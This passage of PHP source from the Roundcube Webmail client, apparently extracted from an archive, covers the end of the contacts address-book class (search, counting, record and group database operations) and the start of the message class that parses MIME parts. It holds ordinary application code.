                    $groups[] = $this->fulltext_sql_where($word, $mode, $col);
                }
                $where[] = '(' . implode(' OR ', $groups) . ')';
            }
        }

        foreach (array_intersect($required, $this->table_cols) as $col) {
            $where[] = $this->db->quote_identifier($col).' <> '.$this->db->quote('');
        }
        $required = array_diff($required, $this->table_cols);

        if (!empty($where)) {
            // use AND operator for advanced searches
            $where = implode(' AND ', $where);
        }

        // Post-searching in vCard data fields
        // we will search in all records and then build a where clause for their IDs
        if (!empty($post_search) || !empty($required)) {
            $ids = [0];
            // build key name regexp
            $regexp = '/^(' . implode('|', array_keys($post_search)) . ')(?:.*)$/';
            // use initial WHERE clause, to limit records number if possible
            if (!empty($where)) {
                $this->set_search_set($where);
            }

            // count result pages
            $cnt   = $this->count()->count;
            $pages = ceil($cnt / $this->page_size);
            $scnt  = !empty($post_search) ? count($post_search) : 0;

            // get (paged) result
            for ($i=0; $i<$pages; $i++) {
                $this->list_records(null, $i, true);
                while ($row = $this->result->next()) {
                    $id    = $row[$this->primary_key];
                    $found = [];
                    if (!empty($post_search)) {
                        foreach (preg_grep($regexp, array_keys($row)) as $col) {
                            $pos     = strpos($col, ':');
                            $colname = $pos ? substr($col, 0, $pos) : $col;
                            $search  = $post_search[$colname];
                            foreach ((array) $row[$col] as $value) {
                                if ($this->compare_search_value($colname, $value, $search, $mode)) {
                                    $found[$colname] = true;
                                    break;
                                }
                            }
                        }
                    }
                    // check if required fields are present
                    if (!empty($required)) {
                        foreach ($required as $req) {
                            $hit = false;
                            foreach (array_keys($row) as $c) {
                                if ($c === $req || strpos($c, $req.':') === 0) {
                                    if ((is_string($row[$c]) && strlen($row[$c])) || !empty($row[$c])) {
                                        $hit = true;
                                        break;
                                    }
                                }
                            }
                            if (!$hit) {
                                continue 2;
                            }
                        }
                    }
                    // all fields match
                    if (count($found) >= $scnt) {
                        $ids[] = $id;
                    }
                }
            }

            // build WHERE clause
            $ids = $this->db->array2list($ids, 'integer');
            $where = 'c.`' . $this->primary_key.'` IN ('.$ids.')';
            // reset counter
            unset($this->cache['count']);

            // when we know we have an empty result
            if ($ids == '0') {
                $this->set_search_set($where);
                return ($this->result = new rcube_result_set(0, 0));
            }
        }

        if (!empty($where)) {
            $this->set_search_set($where);
            if ($select) {
                $this->list_records(null, 0, $nocount);
            }
            else {
                $this->result = $this->count();
            }
        }

        return $this->result;
    }

    /**
     * Helper method to compose SQL where statements for fulltext searching
     */
    protected function fulltext_sql_where($value, $mode, $col = 'words', $bool = 'AND')
    {
        $AS    = $col == 'words' ? ' ' : self::SEPARATOR;
        $words = $col == 'words' ? rcube_utils::normalize_string($value, true, 1) : [$value];

        $where = [];
        foreach ($words as $word) {
            if ($mode & rcube_addressbook::SEARCH_STRICT) {
                $where[] = '(' . $this->db->ilike($col, $word)
                    . ' OR ' . $this->db->ilike($col, $word . $AS . '%')
                    . ' OR ' . $this->db->ilike($col, '%' . $AS . $word . $AS . '%')
                    . ' OR ' . $this->db->ilike($col, '%' . $AS . $word) . ')';
            }
            else if ($mode & rcube_addressbook::SEARCH_PREFIX) {
                $where[] = '(' . $this->db->ilike($col, $word . '%')
                    . ' OR ' . $this->db->ilike($col, '%' . $AS . $word . '%') . ')';
            }
            else {
                $where[] = $this->db->ilike($col, '%' . $word . '%');
            }
        }

        return count($where) ? '(' . implode(" $bool ", $where) . ')' : '';
    }

    /**
     * Count number of available contacts in database
     *
     * @return rcube_result_set Result object
     */
    function count()
    {
        $count = $this->cache['count'] ?? $this->_count();

        return new rcube_result_set($count, ($this->list_page-1) * $this->page_size);
    }

    /**
     * Count number of available contacts in database
     *
     * @return int Contacts count
     */
    protected function _count()
    {
        $join = null;

        if ($this->group_id) {
            $join = " LEFT JOIN " . $this->db->table_name($this->db_groupmembers, true) . " AS m".
                " ON (m.`contact_id` = c.`".$this->primary_key."`)";
        }

        // count contacts for this user
        $sql_result = $this->db->query(
            "SELECT COUNT(c.`contact_id`) AS cnt".
            " FROM " . $this->db->table_name($this->db_name, true) . " AS c".
                $join.
            " WHERE c.`del` <> 1".
            " AND c.`user_id` = ?".
            ($this->group_id ? " AND m.`contactgroup_id` = ?" : "").
            ($this->filter ? " AND (".$this->filter.")" : ""),
            $this->user_id,
            $this->group_id
        );

        $sql_arr = $this->db->fetch_assoc($sql_result);

        $this->cache['count'] = !empty($sql_arr) ? (int) $sql_arr['cnt'] : 0;

        return $this->cache['count'];
    }

    /**
     * Return the last result set
     *
     * @return mixed Result array or NULL if nothing selected yet
     */
    function get_result()
    {
        return $this->result;
    }

    /**
     * Get a specific contact record
     *
     * @param mixed $id    Record identifier(s)
     * @param bool  $assoc Enables returning associative array
     *
     * @return rcube_result_set|array Result object with all record fields
     */
    function get_record($id, $assoc = false)
    {
        // return cached result
        if ($this->result && ($first = $this->result->first()) && $first[$this->primary_key] == $id) {
            return $assoc ? $first : $this->result;
        }

        $this->db->query(
            "SELECT * FROM " . $this->db->table_name($this->db_name, true).
            " WHERE `contact_id` = ?".
                " AND `user_id` = ?".
                " AND `del` <> 1",
            $id,
            $this->user_id
        );

        $this->result = null;

        if ($sql_arr = $this->db->fetch_assoc()) {
            $record = $this->convert_db_data($sql_arr);
            $this->result = new rcube_result_set(1);
            $this->result->add($record);
        }

        return $assoc && !empty($record) ? $record : $this->result;
    }

    /**
     * Get group assignments of a specific contact record
     *
     * @param mixed $id Record identifier
     *
     * @return array List of assigned groups, indexed by a group ID
     */
    function get_record_groups($id)
    {
        $results = [];

        if (!$this->groups) {
            return $results;
        }

        $sql_result = $this->db->query(
            "SELECT cgm.`contactgroup_id`, cg.`name` "
            . " FROM " . $this->db->table_name($this->db_groupmembers, true) . " AS cgm"
            . " LEFT JOIN " . $this->db->table_name($this->db_groups, true) . " AS cg"
                . " ON (cgm.`contactgroup_id` = cg.`contactgroup_id` AND cg.`del` <> 1)"
            . " WHERE cgm.`contact_id` = ?",
            $id
        );

        while ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $results[$sql_arr['contactgroup_id']] = $sql_arr['name'];
        }

        return $results;
    }

    /**
     * Check the given data before saving.
     * If input not valid, the message to display can be fetched using get_error()
     *
     * @param array &$save_data Associative array with data to save
     * @param bool  $autofix    Try to fix/complete record automatically
     *
     * @return bool True if input is valid, False if not.
     */
    public function validate(&$save_data, $autofix = false)
    {
        // validate e-mail addresses
        $valid = parent::validate($save_data, $autofix);

        // require at least some name or email
        if ($valid) {
            $name = ($save_data['firstname'] ?? '')
                . ($save_data['surname'] ?? '')
                . ($save_data['name'] ?? '');

            if (!strlen($name) && !count(array_filter($this->get_col_values('email', $save_data, true)))) {
                $this->set_error(self::ERROR_VALIDATE, 'nonamewarning');
                $valid = false;
            }
        }

        return $valid;
    }

    /**
     * Create a new contact record
     *
     * @param array $save_data Associative array with save data
     * @param bool  $check     Enables validity checks
     *
     * @return int|bool The created record ID on success, False on error
     */
    function insert($save_data, $check = false)
    {
        if (!is_array($save_data)) {
            return false;
        }

        $insert_id = $existing = false;

        if ($check) {
            foreach ($save_data as $col => $values) {
                if (strpos($col, 'email') === 0) {
                    foreach ((array)$values as $email) {
                        if ($existing = $this->search('email', $email, false, false))
                            break 2;
                    }
                }
            }
        }

        $save_data     = $this->convert_save_data($save_data);
        $a_insert_cols = $a_insert_values = [];

        foreach ($save_data as $col => $value) {
            $a_insert_cols[]   = $this->db->quote_identifier($col);
            $a_insert_values[] = $this->db->quote($value);
        }

        if ((empty($existing) || empty($existing->count)) && !empty($a_insert_cols)) {
            $this->db->query(
                "INSERT INTO " . $this->db->table_name($this->db_name, true)
                . " (`user_id`, `changed`, `del`, " . implode(', ', $a_insert_cols) . ")"
                . " VALUES (" . intval($this->user_id) . ", " . $this->db->now() . ", 0, " . implode(', ', $a_insert_values) . ")"
            );

            $insert_id = $this->db->insert_id($this->db_name);
        }

        $this->cache = null;

        return $insert_id;
    }

    /**
     * Update a specific contact record
     *
     * @param mixed $id        Record identifier
     * @param array $save_cols Associative array with save data
     *
     * @return bool True on success, False on error
     */
    function update($id, $save_cols)
    {
        $updated   = false;
        $write_sql = [];
        $record    = $this->get_record($id, true);
        $save_cols = $this->convert_save_data($save_cols, $record);

        foreach ($save_cols as $col => $value) {
            $write_sql[] = sprintf("%s=%s", $this->db->quote_identifier($col), $this->db->quote($value));
        }

        if (!empty($write_sql)) {
            $this->db->query(
                "UPDATE " . $this->db->table_name($this->db_name, true)
                . " SET `changed` = " . $this->db->now() . ", " . implode(', ', $write_sql)
                . " WHERE `contact_id` = ?"
                    . " AND `user_id` = ?"
                    . " AND `del` <> 1",
                $id,
                $this->user_id
            );

            $updated = $this->db->affected_rows();
            $this->result = null;  // clear current result (from get_record())
        }

        return !empty($updated);
    }

    /**
     * Convert data stored in the database into output format
     */
    private function convert_db_data($sql_arr)
    {
        $record = [
            'ID' => $sql_arr[$this->primary_key]
        ];

        if ($sql_arr['vcard']) {
            unset($sql_arr['email']);
            $vcard = new rcube_vcard($sql_arr['vcard'], RCUBE_CHARSET, false, $this->vcard_fieldmap);
            $record += $vcard->get_assoc() + $sql_arr;
        }
        else {
            $record += $sql_arr;
            $record['email'] = explode(self::SEPARATOR, $record['email']);
            $record['email'] = array_map('trim', $record['email']);
        }

        return $record;
    }

    /**
     * Convert input data for storing in the database
     */
    private function convert_save_data($save_data, $record = [])
    {
        $out   = [];
        $words = '';

        if (!empty($record['vcard'])) {
            $vcard = $record['vcard'];
        }
        else if (!empty($save_data['vcard'])) {
            $vcard = $save_data['vcard'];
        }
        else {
            $vcard = '';
        }

        // copy values into vcard object
        $vcard = new rcube_vcard($vcard, RCUBE_CHARSET, false, $this->vcard_fieldmap);
        $vcard->reset();

        // don't store groups in vCard (#1490277)
        $vcard->set('groups', null);
        unset($save_data['groups']);

        foreach ($save_data as $key => $values) {
            list($field, $section) = rcube_utils::explode(':', $key);

            $fulltext = in_array($field, $this->fulltext_cols);

            // avoid casting DateTime objects to array
            if (is_object($values) && is_a($values, 'DateTime')) {
                $values = [$values];
            }
            foreach ((array) $values as $value) {
                if (isset($value)) {
                    $vcard->set($field, $value, $section);
                }
                if ($fulltext && is_array($value)) {
                    $words .= ' ' . rcube_utils::normalize_string(implode(' ', $value));
                }
                else if ($fulltext && strlen($value) >= 3) {
                    $words .= ' ' . rcube_utils::normalize_string($value);
                }
            }
        }

        $out['vcard'] = $vcard->export(false);

        foreach ($this->table_cols as $col) {
            $key = $col;
            if (!isset($save_data[$key])) {
                $key .= ':home';
            }
            if (isset($save_data[$key])) {
                if (is_array($save_data[$key])) {
                    $out[$col] = implode(self::SEPARATOR, $save_data[$key]);
                }
                else {
                    $out[$col] = $save_data[$key];
                }
            }
        }

        // save all e-mails in the database column
        if (!empty($vcard->email)) {
            $out['email'] = implode(self::SEPARATOR, $vcard->email);
        } else {
            $out['email'] = isset($save_data['email']) ? $save_data['email'] : '';
        }

        // join words for fulltext search
        $out['words'] = implode(' ', array_unique(explode(' ', $words)));

        return $out;
    }

    /**
     * Mark one or more contact records as deleted
     *
     * @param array $ids   Record identifiers
     * @param bool  $force Remove record(s) irreversible (unsupported)
     *
     * @return int|false Number of removed records, False on failure
     */
    function delete($ids, $force = true)
    {
        if (!is_array($ids)) {
            $ids = explode(self::SEPARATOR, $ids);
        }

        $ids = $this->db->array2list($ids, 'integer');

        // flag record as deleted (always)
        $this->db->query(
            "UPDATE " . $this->db->table_name($this->db_name, true).
            " SET `del` = 1, `changed` = ".$this->db->now().
            " WHERE `user_id` = ?".
                " AND `contact_id` IN ($ids)",
            $this->user_id
        );

        $this->cache = null;

        return $this->db->affected_rows();
    }

    /**
     * Undelete one or more contact records
     *
     * @param array $ids Record identifiers
     *
     * @return int Number of undeleted contact records
     */
    function undelete($ids)
    {
        if (!is_array($ids)) {
            $ids = explode(self::SEPARATOR, $ids);
        }

        $ids = $this->db->array2list($ids, 'integer');

        // clear deleted flag
        $this->db->query(
            "UPDATE " . $this->db->table_name($this->db_name, true).
            " SET `del` = 0, `changed` = ".$this->db->now().
            " WHERE `user_id` = ?".
                " AND `contact_id` IN ($ids)",
            $this->user_id
        );

        $this->cache = null;

        return $this->db->affected_rows();
    }

    /**
     * Remove all records from the database
     *
     * @param bool $with_groups Remove also groups
     *
     * @return int Number of removed records
     */
    function delete_all($with_groups = false)
    {
        $this->cache = null;

        $now = $this->db->now();

        $this->db->query("UPDATE " . $this->db->table_name($this->db_name, true)
            . " SET `del` = 1, `changed` = $now"
            . " WHERE `user_id` = ?", $this->user_id);

        $count = $this->db->affected_rows();

        if ($with_groups) {
            $this->db->query("UPDATE " . $this->db->table_name($this->db_groups, true)
                . " SET `del` = 1, `changed` = $now"
                . " WHERE `user_id` = ?", $this->user_id);

            $count += $this->db->affected_rows();
        }

        return $count;
    }

    /**
     * Create a contact group with the given name
     *
     * @param string $name The group name
     *
     * @return array|false False on error, array with record props in success
     */
    function create_group($name)
    {
        $result = false;

        // make sure we have a unique name
        $name = $this->unique_groupname($name);

        $this->db->query(
            "INSERT INTO " . $this->db->table_name($this->db_groups, true).
            " (`user_id`, `changed`, `name`)".
            " VALUES (".intval($this->user_id).", ".$this->db->now().", ".$this->db->quote($name).")"
        );

        if ($insert_id = $this->db->insert_id($this->db_groups)) {
            $result = ['id' => $insert_id, 'name' => $name];
        }

        return $result;
    }

    /**
     * Delete the given group (and all linked group members)
     *
     * @param string $gid Group identifier
     *
     * @return bool True on success, false if no data was changed
     */
    function delete_group($gid)
    {
        // flag group record as deleted
        $sql_result = $this->db->query(
            "UPDATE " . $this->db->table_name($this->db_groups, true)
            . " SET `del` = 1, `changed` = " . $this->db->now()
            . " WHERE `contactgroup_id` = ?"
                . " AND `user_id` = ?",
            $gid, $this->user_id
        );

        $this->cache = null;

        return $this->db->affected_rows($sql_result) > 0;
    }

    /**
     * Rename a specific contact group
     *
     * @param string $gid     Group identifier
     * @param string $name    New name to set for this group
     * @param string $new_gid (not used)
     *
     * @return string|false New name on success, false if no data was changed
     */
    function rename_group($gid, $name, &$new_gid)
    {
        // make sure we have a unique name
        $name = $this->unique_groupname($name);

        $sql_result = $this->db->query(
            "UPDATE " . $this->db->table_name($this->db_groups, true).
            " SET `name` = ?, `changed` = ".$this->db->now().
            " WHERE `contactgroup_id` = ?".
                " AND `user_id` = ?",
            $name, $gid, $this->user_id
        );

        return $this->db->affected_rows($sql_result) ? $name : false;
    }

    /**
     * Add the given contact records the a certain group
     *
     * @param string       $group_id Group identifier
     * @param array|string $ids      List of contact identifiers to be added
     *
     * @return int Number of contacts added
     */
    function add_to_group($group_id, $ids)
    {
        if (!is_array($ids)) {
            $ids = explode(self::SEPARATOR, $ids);
        }

        $added  = 0;
        $exists = [];

        // get existing assignments ...
        $sql_result = $this->db->query(
            "SELECT `contact_id` FROM " . $this->db->table_name($this->db_groupmembers, true).
            " WHERE `contactgroup_id` = ?".
                " AND `contact_id` IN (".$this->db->array2list($ids, 'integer').")",
            $group_id
        );

        while ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $exists[] = $sql_arr['contact_id'];
        }

        // ... and remove them from the list
        $ids = array_diff($ids, $exists);

        foreach ($ids as $contact_id) {
            $this->db->query(
                "INSERT INTO " . $this->db->table_name($this->db_groupmembers, true).
                " (`contactgroup_id`, `contact_id`, `created`)".
                " VALUES (?, ?, ".$this->db->now().")",
                $group_id,
                $contact_id
            );

            if ($error = $this->db->is_error()) {
                $this->set_error(self::ERROR_SAVING, $error);
            }
            else {
                $added++;
            }
        }

        return $added;
    }

    /**
     * Remove the given contact records from a certain group
     *
     * @param string       $group_id Group identifier
     * @param array|string $ids      List of contact identifiers to be removed
     *
     * @return int Number of deleted group members
     */
    function remove_from_group($group_id, $ids)
    {
        if (!is_array($ids)) {
            $ids = explode(self::SEPARATOR, $ids);
        }

        $ids = $this->db->array2list($ids, 'integer');

        $sql_result = $this->db->query(
            "DELETE FROM " . $this->db->table_name($this->db_groupmembers, true).
            " WHERE `contactgroup_id` = ?".
                " AND `contact_id` IN ($ids)",
            $group_id
        );

        return $this->db->affected_rows($sql_result);
    }

    /**
     * Check for existing groups with the same name
     *
     * @param string $name Name to check
     *
     * @return string A group name which is unique for the current use
     */
    private function unique_groupname($name)
    {
        $checkname = $name;
        $num       = 2;
        $hit       = false;

        do {
            $sql_result = $this->db->query(
                "SELECT 1 FROM " . $this->db->table_name($this->db_groups, true).
                " WHERE `del` <> 1".
                    " AND `user_id` = ?".
                    " AND `name` = ?",
                $this->user_id,
                $checkname);

            // append number to make name unique
            if ($hit = $this->db->fetch_array($sql_result)) {
                $checkname = $name . ' ' . $num++;
            }
        }
        while ($hit);

        return $checkname;
    }
}
PK
h�\�裬չչ'program/lib/Roundcube/rcube_message.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Logical representation of a mail message with all its data          |
 |   and related functions                                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Logical representation of a mail message with all its data
 * and related functions
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_message
{
    /**
     * Instance of framework class.
     *
     * @var rcube
     */
    protected $app;

    /**
     * Instance of storage class
     *
     * @var rcube_storage
     */
    protected $storage;

    /**
     * Instance of mime class
     *
     * @var rcube_mime
     */
    protected $mime;

    protected $opt               = [];
    protected $parse_alternative = false;
    protected $got_html_part     = false;
    protected $tnef_decode       = false;

    public $uid;
    public $folder;
    public $headers;
    public $sender;
    public $context;
    public $body;
    public $parts        = [];
    public $mime_parts   = [];
    public $inline_parts = [];
    public $attachments  = [];
    public $subject      = '';
    public $is_safe      = false;
    public $pgp_mime     = false;
    public $encrypted_part;

    const BODY_MAX_SIZE = 1048576; // 1MB


    /**
     * __construct
     *
     * Provide a uid, and parse message structure.
     *
     * @param string $uid     The message UID.
     * @param string $folder  Folder name
     * @param bool   $is_safe Security flag
     */
    function __construct($uid, $folder = null, $is_safe = false)
    {
        // decode combined UID-folder identifier
        if (preg_match('/^[0-9.]+-.+/', $uid)) {
            list($uid, $folder) = explode('-', $uid, 2);
        }

        $context = null;
        if (preg_match('/^([0-9]+)\.([0-9.]+)$/', $uid, $matches)) {
            $uid     = $matches[1];
            $context = $matches[2];
        }

        $this->uid     = $uid;
        $this->context = $context;
        $this->app     = rcube::get_instance();
        $this->storage = $this->app->get_storage();
        $this->folder  = is_string($folder) && strlen($folder) ? $folder : $this->storage->get_folder();

        // Set current folder
        $this->storage->set_folder($this->folder);
        $this->storage->set_options(['all_headers' => true]);

        $this->headers = $this->storage->get_message($uid);

        if (!$this->headers) {
            return;
        }

        $this->tnef_decode = (bool) $this->app->config->get('tnef_decode', true);

        $this->set_safe($is_safe || !empty($_SESSION['safe_messages'][$this->folder.':'.$uid]));
        $this->opt = [
            'safe'        => $this->is_safe,
            'prefer_html' => $this->app->config->get('prefer_html'),
            'get_url'     => $this->app->url([
                    'action' => 'get',
                    'mbox'   => $this->folder,
                    'uid'    => $uid
                ],
                false, false, true
            )
        ];

        if (!empty($this->headers->structure)) {
            $this->get_mime_numbers($this->headers->structure);
            $this->parse_structure($this->headers->structure);
        }
        else if ($this->context === null) {
            $this->body = $this->storage->get_body($uid);
        }

        $this->mime    = new rcube_mime($this->headers->charset);
        $this->subject = str_replace("\n", '', $this->headers->get('subject'));
        $from          = $this->mime->decode_address_list($this->headers->from, 1);
        $this->sender  = current($from);

        // notify plugins and let them analyze this structured message object
        $this->app->plugins->exec_hook('message_load', ['object' => $this]);
    }

    /**
     * Return a (decoded) message header
     *
     * @param string $name Header name
     * @param bool   $raw  Don't mime-decode the value
     *
     * @return string Header value
     */
    public function get_header($name, $raw = false)
    {
        if (empty($this->headers)) {
            return null;
        }

        return $this->headers->get($name, !$raw);
    }

    /**
     * Set is_safe var and session data
     *
     * @param bool $safe enable/disable
     */
    public function set_safe($safe = true)
    {
        $_SESSION['safe_messages'][$this->folder.':'.$this->uid] = $this->is_safe = $safe;
    }

    /**
     * Compose a valid URL for getting a message part
     *
     * @param string $mime_id Part MIME-ID
     * @param mixed  $embed Mimetype class for parts to be embedded
     *
     * @return string|false URL or false if part does not exist
     */
    public function get_part_url($mime_id, $embed = false)
    {
        if (!empty($this->mime_parts[$mime_id])) {
            return $this->opt['get_url'] . '&_part=' . $mime_id
                . ($embed ? '&_embed=1&_mimeclass=' . $embed : '');
        }

        return false;
    }

    /**
     * Get content of a specific part of this message
     *
     * @param string   $mime_id           Part MIME-ID
     * @param resource $fp                File pointer to save the message part
     * @param bool     $skip_charset_conv Disables charset conversion
     * @param int      $max_bytes         Only read this number of bytes
     * @param bool     $formatted         Enables formatting of text/* parts bodies
     *
     * @return string Part content
     * @deprecated
     */
    public function get_part_content($mime_id, $fp = null, $skip_charset_conv = false, $max_bytes = 0, $formatted = true)
    {
        if ($part = $this->mime_parts[$mime_id]) {
            // stored in message structure (winmail/inline-uuencode)
            if (!empty($part->body) || $part->encoding == 'stream') {
                if ($fp) {
                    fwrite($fp, $part->body);
                }
                return $fp ? true : $part->body;
            }

            // get from IMAP
            $this->storage->set_folder($this->folder);

            return $this->storage->get_message_part($this->uid, $mime_id, $part,
                null, $fp, $skip_charset_conv, $max_bytes, $formatted);
        }
    }

    /**
     * Get content of a specific part of this message
     *
     * @param string $mime_id   Part ID
     * @param bool   $formatted Enables formatting of text/* parts bodies
     * @param int    $max_bytes Only return/read this number of bytes
     * @param mixed  $mode      NULL to return a string, -1 to print body
     *                          or file pointer to save the body into
     *
     * @return string|bool Part content or operation status
     */
    public function get_part_body($mime_id, $formatted = false, $max_bytes = 0, $mode = null)
    {
        if (empty($this->mime_parts[$mime_id])) {
            return;
        }

        $part = $this->mime_parts[$mime_id];

        // allow plugins to modify part body
        $plugin = $this->app->plugins->exec_hook('message_part_body',
            ['object' => $this, 'part' => $part]);

        // only text parts can be formatted
        $formatted = $formatted && $part->ctype_primary == 'text';

        // part body not fetched yet... save in memory if it's small enough
        if ($part->body === null && is_numeric($mime_id) && $part->size < self::BODY_MAX_SIZE) {
            $this->storage->set_folder($this->folder);
            // Warning: body here should be always unformatted
            $part->body = $this->storage->get_message_part($this->uid, $mime_id, $part,
                null, null, true, 0, false);
        }

        $charset = !empty($this->headers) ? $this->headers->charset : null;

        // body stored in message structure (winmail/inline-uuencode)
        if ($part->body !== null || $part->encoding == 'stream') {
            $body = $part->body;

            if ($formatted && $body) {
                $body = self::format_part_body($body, $part, $charset);
            }

            if ($max_bytes && strlen($body) > $max_bytes) {
                $body = substr($body, 0, $max_bytes);
            }

            if (is_resource($mode)) {
                if ($body !== false) {
                    fwrite($mode, $body);
                    @rewind($mode);
                }

                return $body !== false;
            }

            if ($mode === -1) {
                if ($body !== false) {
                    print($body);
                }

                return $body !== false;
            }

            return $body;
        }

        // get the body from IMAP
        $this->storage->set_folder($this->folder);

        $body = $this->storage->get_message_part($this->uid, $mime_id, $part,
            $mode === -1, is_resource($mode) ? $mode : null,
            !($mode && $formatted), $max_bytes, $mode && $formatted);

        if (is_resource($mode)) {
            @rewind($mode);
            return $body !== false;
        }

        if (!$mode && $body && $formatted) {
            $body = self::format_part_body($body, $part, $charset);
        }

        return $body;
    }

    /**
     * Format text message part for display
     *
     * @param string             $body            Part body
     * @param rcube_message_part $part            Part object
     * @param string             $default_charset Fallback charset if part charset is not specified
     *
     * @return string Formatted body
     */
    public static function format_part_body($body, $part, $default_charset = null)
    {
        // remove useless characters
        $body = preg_replace('/[\t\r\0\x0B]+\n/', "\n", $body);

        // remove NULL characters if any (#1486189)
        if (strpos($body, "\x00") !== false) {
            $body = str_replace("\x00", '', $body);
        }

        // detect charset...
        if (empty($part->charset) || strtoupper($part->charset) == 'US-ASCII') {
            // try to extract charset information from HTML meta tag (#1488125)
            if ($part->ctype_secondary == 'html' && preg_match('/<meta[^>]+charset=([a-z0-9-_]+)/i', $body, $m)) {
                $part->charset = strtoupper($m[1]);
            }
            else if ($default_charset) {
                $part->charset = $default_charset;
            }
            else {
                $rcube         = rcube::get_instance();
                $part->charset = $rcube->config->get('default_charset', RCUBE_CHARSET);
            }
        }

        // ..convert charset encoding
        $body = rcube_charset::convert($body, $part->charset);

        return $body;
    }

    /**
     * Determine if the message contains a HTML part. This must to be
     * a real part not an attachment (or its part)
     *
     * @param bool               $enriched Enables checking for text/enriched parts too
     * @param rcube_message_part &$part    Reference to the part if found
     *
     * @return bool True if a HTML is available, False if not
     */
    public function has_html_part($enriched = false, &$part = null)
    {
        // check all message parts
        foreach ($this->mime_parts as $part) {
            if ($part->mimetype == 'text/html' || ($enriched && $part->mimetype == 'text/enriched')) {
                // Skip if part is an attachment, don't use is_attachment() here
                if ($part->filename) {
                    continue;
                }

                if (!$part->size) {
                    continue;
                }

                if (!$this->check_context($part)) {
                    continue;
                }

                // The HTML body part extracted from a winmail.dat attachment part
                if (strpos($part->mime_id, 'winmail.') === 0) {
                    return true;
                }

                $level = explode('.', $part->mime_id);
                $depth = count($level);
                $last  = '';

                // Check if the part does not belong to a message/rfc822 part
                while (array_pop($level) !== null) {
                    if (!count($level)) {
                        return true;
                    }

                    $parent = $this->mime_parts[implode('.', $level)];

                    if (!$this->check_context($parent)) {
                        return true;
                    }

                    if ($parent->mimetype == 'message/rfc822') {
                        continue 2;
                    }
                }

                return true;
            }
        }

        $part = null;

        return false;
    }

    /**
     * Determine if the message contains a text/plain part. This must to be
     * a real part not an attachment (or its part)
     *
     * @param rcube_message_part &$part Reference to the part if found
     *
     * @return bool True if a plain text part is available, False if not
     */
    public function has_text_part(&$part = null)
    {
        // check all message parts
        foreach ($this->mime_parts as $part) {
            if ($part->mimetype == 'text/plain') {
                // Skip if part is an attachment, don't use is_attachment() here
                if (!empty($part->filename)) {
                    continue;
                }

                if (empty($part->size)) {
                    continue;
                }

                if (!$this->check_context($part)) {
                    continue;
                }

                $level = explode('.', $part->mime_id);

                // Check if the part does not belong to a message/rfc822 part
                while (array_pop($level) !== null) {
                    if (!count($level)) {
                        return true;
                    }

                    $parent = $this->mime_parts[implode('.', $level)];

                    if (!$this->check_context($parent)) {
                        return true;
                    }

                    if ($parent->mimetype == 'message/rfc822') {
                        continue 2;
                    }
                }

                return true;
            }
        }

        $part = null;

        return false;
    }

    /**
     * Return the first HTML part of this message
     *
     * @param rcube_message_part &$part    Reference to the part if found
     * @param bool               $enriched Enables checking for text/enriched parts too
     *
     * @return string|null HTML message part content
     */
    public function first_html_part(&$part = null, $enriched = false)
    {
        if ($this->has_html_part($enriched, $part)) {
            $body = $this->get_part_body($part->mime_id, true);

            if ($part->mimetype == 'text/enriched') {
                $body = rcube_enriched::to_html($body);
            }

            return $body;
        }
    }

    /**
     * Return the first text part of this message.
     * If there's no text/plain part but $strict=true and text/html part
     * exists, it will be returned in text/plain format.
     *
     * @param rcube_message_part &$part  Reference to the part if found
     * @param bool               $strict Check only text/plain parts
     *
     * @return string|null Plain text message/part content
     */
    public function first_text_part(&$part = null, $strict = false)
    {
        // no message structure, return complete body
        if (empty($this->parts)) {
            return $this->body;
        }

        if ($this->has_text_part($part)) {
            return $this->get_part_body($part->mime_id, true);
        }

        if (!$strict && ($body = $this->first_html_part($part, true))) {
            // create instance of html2text class
            $h2t  = new rcube_html2text($body);
            return $h2t->get_text();
        }
    }

    /**
     * Return message parts in current context
     */
    public function mime_parts()
    {
        if ($this->context === null) {
            return $this->mime_parts;
        }

        $parts = [];

        foreach ($this->mime_parts as $part_id => $part) {
            if ($this->check_context($part)) {
                $parts[$part_id] = $part;
            }
        }

        return $parts;
    }

    /**
     * Checks if part of the message is an attachment (or part of it)
     *
     * @param rcube_message_part $part Message part
     *
     * @return bool True if the part is an attachment part
     */
    public function is_attachment($part)
    {
        foreach ($this->attachments as $att_part) {
            if ($att_part->mime_id === $part->mime_id) {
                return true;
            }

            // check if the part is a subpart of another attachment part (message/rfc822)
            if ($att_part->mimetype == 'message/rfc822') {
                if (in_array($part, (array)$att_part->parts)) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * In a multipart/encrypted encrypted message,
     * find the encrypted message payload part.
     *
     * @return rcube_message_part
     */
    public function get_multipart_encrypted_part()
    {
        foreach ($this->mime_parts as $mime_id => $mpart) {
            if ($mpart->mimetype == 'multipart/encrypted') {
                $this->pgp_mime = true;
            }
            if ($this->pgp_mime && ($mpart->mimetype == 'application/octet-stream' ||
                    (!empty($mpart->filename) && $mpart->filename != 'version.txt'))
            ) {
                $this->encrypted_part = $mime_id;
                return $mpart;
            }
        }

        return false;
    }

    /**
     * Read the message structure returned by the IMAP server
     * and build flat lists of content parts and attachments
     *
     * @param rcube_message_part $structure Message structure node
     * @param bool               $recursive True when called recursively
     */
    private function parse_structure($structure, $recursive = false)
    {
        // real content-type of message/rfc822 part
        if ($structure->mimetype == 'message/rfc822' && !empty($structure->real_mimetype)) {
            $mimetype = $structure->real_mimetype;

            // parse headers from message/rfc822 part
            if (!isset($structure->headers['subject']) && !isset($structure->headers['from'])) {
                $part_body = $this->get_part_body($structure->mime_id, false, 32768);
                list($headers, ) = rcube_utils::explode("\r\n\r\n", $part_body, 2);
                $structure->headers = rcube_mime::parse_headers($headers);

                if ($this->context === $structure->mime_id) {
                    $this->headers = rcube_message_header::from_array($structure->headers);
                }

                // For small text messages we can optimize, so an additional FETCH is not needed
                if ($structure->size < 32768) {
                    $decoder = new rcube_mime_decode();
                    $decoded = $decoder->decode($part_body);

                    // Non-multipart message
